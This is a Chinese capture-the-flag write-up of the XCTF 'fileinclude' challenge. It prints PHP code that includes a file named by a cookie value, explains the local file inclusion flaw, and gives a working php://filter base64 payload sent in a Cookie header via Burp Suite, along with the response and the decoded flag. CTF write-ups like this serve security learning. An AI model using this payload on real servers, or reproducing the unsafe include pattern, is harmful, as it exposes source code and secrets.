XCTF:fileinclude[WriteUP]

Ctrl+U查看页面源码

<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>

<br />
<b>Notice</b>:  Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
Please choose the language you want : English or Chinese
<h1>Hi,EveryOne,The flag is in flag.php</h1><html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>

<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
	@setcookie("language","english");
	@include("english.php");
}
else
{
	@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
</html></html>

分析:

$lan变量的值由$_COOKIE['language']传递

当!$lan时:即$lan变量不存在时,执行包含english.php

否则,包含 lan.php 文件

那么只需要抓包,修改$_COOKIE中language的值传递给$lan就可以了


 再根据题目的提示,flag在flag.php这个文件中

可以利用php伪协议,将被包含文件读取或写入包含文件中

接下来贴上php伪协议构造代码

php://filter/read=convert.base64-encode/resource=flag

其中:

index.php源码:@include($lan.".php");已经存在后缀.php

所以最后的文件名称是flag而不是flag.php

read:<读链的筛选列表> :参数可选

write:<写链的筛选列表> : 参数可选

/resource=FILE.php:<选定文件> : 参数必选

convert.base64-encode:过滤器,防止网页将源码注释而导致的flag无法显示

因为flag.php是已经存在的,直接用读取read

就可以读取到被包含在index.php中的flag.php源码

 


 

打开BurpSuite对网页内容进行拦截,并发送至重放器

构造一个Cookie并将其language的值设置为用伪协议构造的flag

那么index.php就会直接包含flag.php文件

Cookie: language=php://filter/read=convert.base64-encode/resource=flag

 


 

点击发送,查看重放响应内容

得到flag.php中的内容
 

PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezRhMTRiN2E0ZDFmYjMzZjFlMjc3ZDIxNWU2NzdlZmY2fSI7DQo/Pg==

因为我们上面伪协议中用的过滤器是base64编码

所以只需要进行一次base64解码就可以拿到原文

cyberpeace{4a14b7a4d1fb33f1e277d215e677eff6} 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0DayHP

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值